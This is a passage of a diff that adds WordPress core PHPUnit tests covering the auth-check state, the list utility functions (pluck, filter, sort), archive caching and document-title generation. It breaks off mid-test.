+	 * @ticket 41860
+	 */
+	function test_wp_auth_check_user_logged_in() {
+		// log user in
+		wp_set_current_user( 1 );
+
+		$expected = array(
+			'wp-auth-check' => true,
+		);
+
+		$this->assertTrue( is_user_logged_in() );
+		$this->assertSame( $expected, wp_auth_check( array() ) );
+	}
+
+	/**
+	 * Run with user logged in but with expired state.
+	 *
+	 * @ticket 41860
+	 */
+	function test_wp_auth_check_user_logged_in_login_grace_period_set() {
+		// log user in
+		wp_set_current_user( 1 );
+
+		$GLOBALS['login_grace_period'] = 1;
+
+		$expected = array(
+			'wp-auth-check' => false,
+		);
+		$actual = wp_auth_check( array() );
+		$logged_in = is_user_logged_in();
+
+		// Leave the global state unchanged
+		unset( $GLOBALS['login_grace_period'] );
+
+		$this->assertTrue( $logged_in );
+		$this->assertSame( $expected, $actual );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions/wpListUtil.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions/wpListUtil.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions/wpListUtil.php	(revision 56912)
@@ -0,0 +1,459 @@
+<?php
+
+/**
+ * @group functions.php
+ */
+class Tests_WP_List_Util extends WP_UnitTestCase {
+	public function data_test_wp_list_pluck() {
+		return array(
+			'arrays'                         => array(
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz' ),
+					array( 'foo' => 'foo', '123' => '456', 'lorem' => 'ipsum' ),
+					array( 'foo' => 'baz' ),
+				),
+				'foo',
+				null,
+				array( 'bar', 'foo', 'baz' ),
+			),
+			'arrays with index key'          => array(
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz', 'key' => 'foo' ),
+					array( 'foo' => 'foo', '123' => '456', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				'foo',
+				'key',
+				array( 'foo' => 'bar', 'bar' => 'foo', 'value' => 'baz' ),
+			),
+			'arrays with index key missing'  => array(
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz' ),
+					array( 'foo' => 'foo', '123' => '456', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				'foo',
+				'key',
+				array( 'bar' => 'foo', 'value' => 'baz', 'bar' ),
+			),
+			'objects'                        => array(
+				array(
+					(object) array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz' ),
+					(object) array( 'foo' => 'foo', '123' => '456', 'lorem' => 'ipsum' ),
+					(object) array( 'foo' => 'baz' ),
+				),
+				'foo',
+				null,
+				array( 'bar', 'foo', 'baz' ),
+			),
+			'objects with index key'         => array(
+				array(
+					(object) array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz', 'key' => 'foo' ),
+					(object) array( 'foo' => 'foo', '123' => '456', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					(object) array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				'foo',
+				'key',
+				array( 'foo' => 'bar', 'bar' => 'foo', 'value' => 'baz' ),
+			),
+			'objects with index key missing' => array(
+				array(
+					(object) array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz' ),
+					(object) array( 'foo' => 'foo', '123' => '456', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					(object) array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				'foo',
+				'key',
+				array( 'bar' => 'foo', 'value' => 'baz', 'bar' ),
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider data_test_wp_list_pluck
+	 *
+	 * @param array      $list      List of objects or arrays.
+	 * @param int|string $field     Field from the object to place instead of the entire object
+	 * @param int|string $index_key Field from the object to use as keys for the new array.
+	 * @param array      $expected  Expected result.
+	 */
+	public function test_wp_list_pluck( $list, $field, $index_key, $expected ) {
+		$this->assertEqualSetsWithIndex( $expected, wp_list_pluck( $list, $field, $index_key ) );
+	}
+
+	public function data_test_wp_list_filter() {
+		return array(
+			'string instead of array'  => array(
+				'foo',
+				array(),
+				'AND',
+				array(),
+			),
+			'object instead of array'  => array(
+				(object) array( 'foo' ),
+				array(),
+				'AND',
+				array(),
+			),
+			'empty args'               => array(
+				array( 'foo', 'bar' ),
+				array(),
+				'AND',
+				array( 'foo', 'bar' ),
+			),
+			'invalid operator'         => array(
+				array(
+					(object) array( 'foo' => 'bar' ),
+					(object) array( 'foo' => 'baz' ),
+				),
+				array( 'foo' => 'bar' ),
+				'XOR',
+				array(),
+			),
+			'single argument to match' => array(
+				array(
+					(object) array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz', 'key' => 'foo' ),
+					(object) array( 'foo' => 'foo', '123' => '456', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					(object) array( 'foo' => 'baz', 'key' => 'value' ),
+					(object) array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+				array( 'foo' => 'bar' ),
+				'AND',
+				array(
+					0 => (object) array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz', 'key' => 'foo' ),
+					3 => (object) array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+			),
+			'all must match'           => array(
+				array(
+					(object) array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz', 'key' => 'foo' ),
+					(object) array( 'foo' => 'foo', '123' => '456', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					(object) array( 'foo' => 'baz', 'key' => 'value', 'bar' => 'baz' ),
+					(object) array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+				array( 'foo' => 'bar', 'bar' => 'baz' ),
+				'AND',
+				array(
+					0 => (object) array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz', 'key' => 'foo' ),
+				),
+			),
+			'any must match'           => array(
+				array(
+					(object) array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz', 'key' => 'foo' ),
+					(object) array( 'foo' => 'foo', '123' => '456', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					(object) array( 'foo' => 'baz', 'key' => 'value', 'bar' => 'baz' ),
+					(object) array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+				array( 'key' => 'value', 'bar' => 'baz' ),
+				'OR',
+				array(
+					0 => (object) array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz', 'key' => 'foo' ),
+					2 => (object) array( 'foo' => 'baz', 'key' => 'value', 'bar' => 'baz' ),
+					3 => (object) array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+			),
+			'none must match'          => array(
+				array(
+					(object) array( 'foo' => 'bar', 'bar' => 'baz', 'abc' => 'xyz', 'key' => 'foo' ),
+					(object) array( 'foo' => 'foo', '123' => '456', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					(object) array( 'foo' => 'baz', 'key' => 'value' ),
+					(object) array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+				array( 'key' => 'value', 'bar' => 'baz' ),
+				'NOT',
+				array(
+					1 => (object) array( 'foo' => 'foo', '123' => '456', 'lorem' => 'ipsum', 'key' => 'bar' ),
+				),
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider data_test_wp_list_filter
+	 *
+	 * @param array  $list     An array of objects to filter.
+	 * @param array  $args     An array of key => value arguments to match
+	 *                         against each object.
+	 * @param string $operator The logical operation to perform.
+	 * @param array  $expected Expected result.
+	 */
+	public function test_wp_list_filter( $list, $args, $operator, $expected ) {
+		$this->assertEqualSetsWithIndex( $expected, wp_list_filter( $list, $args, $operator ) );
+	}
+
+	public function data_test_wp_list_sort() {
+		return array(
+			'single orderby ascending'        => array(
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				'foo',
+				'ASC',
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'baz', 'key' => 'value' ),
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+				),
+			),
+			'single orderby descending'       => array(
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				'foo',
+				'DESC',
+				array(
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'baz', 'key' => 'value' ),
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+				),
+			),
+			'single orderby array ascending'  => array(
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				array( 'foo' => 'ASC' ),
+				'IGNORED',
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'baz', 'key' => 'value' ),
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+				),
+			),
+			'single orderby array descending' => array(
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				array( 'foo' => 'DESC' ),
+				'IGNORED',
+				array(
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'baz', 'key' => 'value' ),
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+				),
+			),
+			'multiple orderby ascending'      => array(
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'foo', 'key' => 'key' ),
+					array( 'foo' => 'baz', 'key' => 'key' ),
+					array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+				array( 'key' => 'ASC', 'foo' => 'ASC' ),
+				'IGNORED',
+				array(
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'baz', 'key' => 'key' ),
+					array( 'foo' => 'foo', 'key' => 'key' ),
+					array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+			),
+			'multiple orderby descending'     => array(
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'foo', 'key' => 'key' ),
+					array( 'foo' => 'baz', 'key' => 'key' ),
+					array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+				array( 'key' => 'DESC', 'foo' => 'DESC' ),
+				'IGNORED',
+				array(
+					array( 'foo' => 'bar', 'key' => 'value' ),
+					array( 'foo' => 'foo', 'key' => 'key' ),
+					array( 'foo' => 'baz', 'key' => 'key' ),
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+				),
+			),
+			'multiple orderby mixed'          => array(
+				array(
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					array( 'foo' => 'foo', 'key' => 'key' ),
+					array( 'foo' => 'baz', 'key' => 'key' ),
+					array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+				array( 'key' => 'DESC', 'foo' => 'ASC' ),
+				'IGNORED',
+				array(
+					array( 'foo' => 'bar', 'key' => 'value' ),
+					array( 'foo' => 'baz', 'key' => 'key' ),
+					array( 'foo' => 'foo', 'key' => 'key' ),
+					array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+				),
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider data_test_wp_list_sort
+	 *
+	 * @param string|array $orderby Either the field name to order by or an array
+	 *                              of multiple orderby fields as $orderby => $order.
+	 * @param string       $order   Either 'ASC' or 'DESC'.
+	 */
+	public function test_wp_list_sort( $list, $orderby, $order, $expected ) {
+		$this->assertEquals( $expected, wp_list_sort( $list, $orderby, $order ) );
+	}
+
+	public function data_test_wp_list_sort_preserve_keys() {
+		return array(
+			'single orderby ascending'        => array(
+				array(
+					'foobar' => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foofoo' => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					'foobaz' => array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				'foo',
+				'ASC',
+				array(
+					'foobar' => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foobaz' => array( 'foo' => 'baz', 'key' => 'value' ),
+					'foofoo' => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+				),
+			),
+			'single orderby descending'       => array(
+				array(
+					'foobar' => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foofoo' => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					'foobaz' => array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				'foo',
+				'DESC',
+				array(
+					'foofoo' => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					'foobaz' => array( 'foo' => 'baz', 'key' => 'value' ),
+					'foobar' => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+				),
+			),
+			'single orderby array ascending'  => array(
+				array(
+					'foobar' => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foofoo' => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					'foobaz' => array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				array( 'foo' => 'ASC' ),
+				'IGNORED',
+				array(
+					'foobar' => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foobaz' => array( 'foo' => 'baz', 'key' => 'value' ),
+					'foofoo' => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+				),
+			),
+			'single orderby array descending' => array(
+				array(
+					'foobar' => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foofoo' => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					'foobaz' => array( 'foo' => 'baz', 'key' => 'value' ),
+				),
+				array( 'foo' => 'DESC' ),
+				'IGNORED',
+				array(
+					'foofoo' => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					'foobaz' => array( 'foo' => 'baz', 'key' => 'value' ),
+					'foobar' => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+				),
+			),
+			'multiple orderby ascending'      => array(
+				array(
+					'foobarfoo'   => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foofoobar'   => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					'foofookey'   => array( 'foo' => 'foo', 'key' => 'key' ),
+					'foobazkey'   => array( 'foo' => 'baz', 'key' => 'key' ),
+					'foobarvalue' => array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+				array( 'key' => 'ASC', 'foo' => 'ASC' ),
+				'IGNORED',
+				array(
+					'foofoobar'   => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					'foobarfoo'   => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foobazkey'   => array( 'foo' => 'baz', 'key' => 'key' ),
+					'foofookey'   => array( 'foo' => 'foo', 'key' => 'key' ),
+					'foobarvalue' => array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+			),
+			'multiple orderby descending'     => array(
+				array(
+					'foobarfoo'   => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foofoobar'   => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					'foofookey'   => array( 'foo' => 'foo', 'key' => 'key' ),
+					'foobazkey'   => array( 'foo' => 'baz', 'key' => 'key' ),
+					'foobarvalue' => array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+				array( 'key' => 'DESC', 'foo' => 'DESC' ),
+				'IGNORED',
+				array(
+					'foobarvalue' => array( 'foo' => 'bar', 'key' => 'value' ),
+					'foofookey'   => array( 'foo' => 'foo', 'key' => 'key' ),
+					'foobazkey'   => array( 'foo' => 'baz', 'key' => 'key' ),
+					'foobarfoo'   => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foofoobar'   => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+				),
+			),
+			'multiple orderby mixed'          => array(
+				array(
+					'foobarfoo'   => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foofoobar'   => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+					'foofookey'   => array( 'foo' => 'foo', 'key' => 'key' ),
+					'foobazkey'   => array( 'foo' => 'baz', 'key' => 'key' ),
+					'foobarvalue' => array( 'foo' => 'bar', 'key' => 'value' ),
+				),
+				array( 'key' => 'DESC', 'foo' => 'ASC' ),
+				'IGNORED',
+				array(
+					'foobarvalue' => array( 'foo' => 'bar', 'key' => 'value' ),
+					'foobazkey'   => array( 'foo' => 'baz', 'key' => 'key' ),
+					'foofookey'   => array( 'foo' => 'foo', 'key' => 'key' ),
+					'foobarfoo'   => array( 'foo' => 'bar', 'bar' => 'baz', 'key' => 'foo' ),
+					'foofoobar'   => array( 'foo' => 'foo', 'lorem' => 'ipsum', 'key' => 'bar' ),
+				),
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider data_test_wp_list_sort_preserve_keys
+	 *
+	 * @param string|array $orderby Either the field name to order by or an array
+	 *                              of multiple orderby fields as $orderby => $order.
+	 * @param string       $order   Either 'ASC' or 'DESC'.
+	 */
+	public function test_wp_list_sort_preserve_keys( $list, $orderby, $order, $expected ) {
+		$this->assertEquals( $expected, wp_list_sort( $list, $orderby, $order, true ) );
+	}
+
+	public function test_wp_list_util_get_input() {
+		$input = array( 'foo', 'bar' );
+		$util  = new WP_List_Util( $input );
+
+		$this->assertEqualSets( $input, $util->get_input() );
+	}
+
+	public function test_wp_list_util_get_output_immediately() {
+		$input = array( 'foo', 'bar' );
+		$util  = new WP_List_Util( $input );
+
+		$this->assertEqualSets( $input, $util->get_output() );
+	}
+
+	public function test_wp_list_util_get_output() {
+		$expected = array( (object) array( 'foo' => 'bar', 'bar' => 'baz' ) );
+
+		$util   = new WP_List_Util( array( (object) array( 'foo' => 'bar', 'bar' => 'baz' ), (object) array( 'bar' => 'baz' ) ) );
+		$actual = $util->filter( array( 'foo' => 'bar' ) );
+
+		$this->assertEqualSets( $expected, $actual );
+		$this->assertEqualSets( $expected, $util->get_output() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/general/archives.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/general/archives.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/general/archives.php	(revision 56912)
@@ -0,0 +1,111 @@
+<?php
+
+/**
+ * @group general
+ */
+class Tests_General_Archives extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		wp_cache_delete( 'last_changed', 'posts' );
+	}
+
+	/**
+	 * @ticket 23206
+	 */
+	function test_get_archives_cache() {
+		global $wpdb;
+
+		self::factory()->post->create_many( 3, array( 'post_type' => 'post' ) );
+		wp_cache_delete( 'last_changed', 'posts' );
+		$this->assertFalse( wp_cache_get( 'last_changed', 'posts' ) );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertNotEmpty( $time1 = wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+
+		// Change args, resulting in a different query string. Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false, 'order' => 'ASC' ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false, 'order' => 'ASC' ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Change type. Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'yearly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'yearly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+
+		// Change type. Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'daily', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'daily', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+
+		// Change type. Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'weekly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'weekly', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+
+		// Change type. Cache is not primed, expect 1 query.
+		$result = wp_get_archives( array( 'type' => 'postbypost', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Cache is primed, expect no queries.
+		$result = wp_get_archives( array( 'type' => 'postbypost', 'echo' => false ) );
+		$this->assertInternalType( 'string', $result );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/general/document-title.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/general/document-title.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/general/document-title.php	(revision 56912)
@@ -0,0 +1,254 @@
+<?php
+
+/**
+ * A set of unit tests for functions in wp-includes/general-template.php
+ *
+ * @group template
+ * @group document-title
+ */
+class Tests_General_DocumentTitle extends WP_UnitTestCase {
+
+	public $blog_name;
+	public static $category_id;
+	public static $author_id;
+	public static $post_id;
+
+	public static function wpSetUpBeforeClass( WP_UnitTest_Factory $factory ) {
+		self::$category_id = $factory->category->create( array(
+			'name' => 'test_category',
+		) );
+
+		self::$author_id = $factory->user->create( array(
+			'role'        => 'author',
+			'user_login'  => 'test_author',
+			'description' => 'test_author',
+		) );
+
+		self::$post_id = $factory->post->create( array(
+			'post_author'  => self::$author_id,
+			'post_status'  => 'publish',
+			'post_title'   => 'test_title',
+			'post_type'    => 'post',
+			'post_date'    => '2015-09-22 18:52:17',
+			'category'     => self::$category_id,
+		) );
+	}
+
+	function setUp() {
+		parent::setUp();
+
+		add_action( 'after_setup_theme', array( $this, '_add_title_tag_support' ) );
+
+		$this->blog_name = get_option( 'blogname' );
+
+		setup_postdata( get_post( self::$post_id ) );
+	}
+
+	function tearDown() {
+		wp_reset_postdata();
+		parent::tearDown();
+	}
+
+	function _add_title_tag_support() {
+		add_theme_support( 'title-tag' );
+	}
+
+	function test__wp_render_title_tag() {
+		$this->go_to( '/' );
+
+		$this->expectOutputString( sprintf( "<title>%s &#8211; %s</title>\n", $this->blog_name, get_option( 'blogdescription' ) ) );
+		_wp_render_title_tag();
+	}
+
+	function test__wp_render_title_no_theme_support() {
+		$this->go_to( '/' );
+
+		remove_theme_support( 'title-tag' );
+
+		$this->expectOutputString( '' );
+		_wp_render_title_tag();
+	}
+
+	function test_short_circuiting_title() {
+		$this->go_to( '/' );
+
+		add_filter( 'pre_get_document_title', array( $this, '_short_circuit_title' ) );
+
+		$this->assertEquals( 'A Wild Title', wp_get_document_title() );
+	}
+
+	function _short_circuit_title( $title ) {
+		return 'A Wild Title';
+	}
+
+	function test_front_page_title() {
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_on_front', $this->factory->post->create( array( 'post_title' => 'front-page', 'post_type' => 'page' ) ) );
+		add_filter( 'document_title_parts', array( $this, '_front_page_title_parts' ) );
+
+		$this->go_to( '/' );
+		$this->assertEquals( sprintf( '%s &#8211; Just another WordPress site', $this->blog_name ), wp_get_document_title() );
+
+		update_option( 'show_on_front', 'posts' );
+
+		$this->go_to( '/' );
+		$this->assertEquals( sprintf( '%s &#8211; Just another WordPress site', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function _front_page_title_parts( $parts ) {
+		$this->assertArrayHasKey( 'title', $parts );
+		$this->assertArrayHasKey( 'tagline', $parts );
+		$this->assertArrayNotHasKey( 'site', $parts );
+
+		return $parts;
+	}
+
+	function test_home_title() {
+		$blog_page_id = $this->factory->post->create( array( 'post_title' => 'blog-page', 'post_type' => 'page' ) );
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_for_posts', $blog_page_id );
+
+		// Show page name on home page if it's not the front page.
+		$this->go_to( get_permalink( $blog_page_id ) );
+		$this->assertEquals( sprintf( 'blog-page &#8211; %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function test_paged_title() {
+		$this->go_to( '?page=4' );
+
+		add_filter( 'document_title_parts', array( $this, '_paged_title_parts' ) );
+
+		$this->assertEquals( sprintf( '%s &#8211; Page 4 &#8211; Just another WordPress site', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function _paged_title_parts( $parts ) {
+		$this->assertArrayHasKey( 'page', $parts );
+		$this->assertArrayHasKey( 'title', $parts );
+		$this->assertArrayHasKey( 'tagline', $parts );
+		$this->assertArrayNotHasKey( 'site', $parts );
+
+		return $parts;
+	}
+
+	function test_singular_title() {
+		$this->go_to( '?p=' . self::$post_id );
+
+		add_filter( 'document_title_parts', array( $this, '_singular_title_parts' ) );
+
+		$this->assertEquals( sprintf( 'test_title &#8211; %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function _singular_title_parts( $parts ) {
+		$this->assertArrayHasKey( 'site', $parts );
+		$this->assertArrayHasKey( 'title', $parts );
+		$this->assertArrayNotHasKey( 'tagline', $parts );
+
+		return $parts;
+	}
+
+	function test_category_title() {
+		$this->go_to( '?cat=' . self::$category_id );
+
+		$this->assertEquals( sprintf( 'test_category &#8211; %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function test_search_title() {
+		$this->go_to( '?s=test_title' );
+
+		$this->assertEquals( sprintf( 'Search Results for &#8220;test_title&#8221; &#8211; %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function test_author_title() {
+		$this->go_to( '?author=' . self::$author_id );
+
+		$this->assertEquals( sprintf( 'test_author &#8211; %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function test_post_type_archive_title() {
+		register_post_type( 'cpt', array(
+			'public'      => true,
+			'has_archive' => true,
+			'labels'      => array(
+				'name' => 'test_cpt',
+			),
+		) );
+
+		$this->factory->post->create( array(
+			'post_type' => 'cpt',
+		) );
+
+		$this->go_to( '?post_type=cpt' );
+
+		$this->assertEquals( sprintf( 'test_cpt &#8211; %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function test_year_title() {
+		$this->go_to( '?year=2015' );
+
+		$this->assertEquals( sprintf( '2015 &#8211; %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function test_month_title() {
+		$this->go_to( '?monthnum=09' );
+
+		$this->assertEquals( sprintf( 'September 2015 &#8211; %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function test_day_title() {
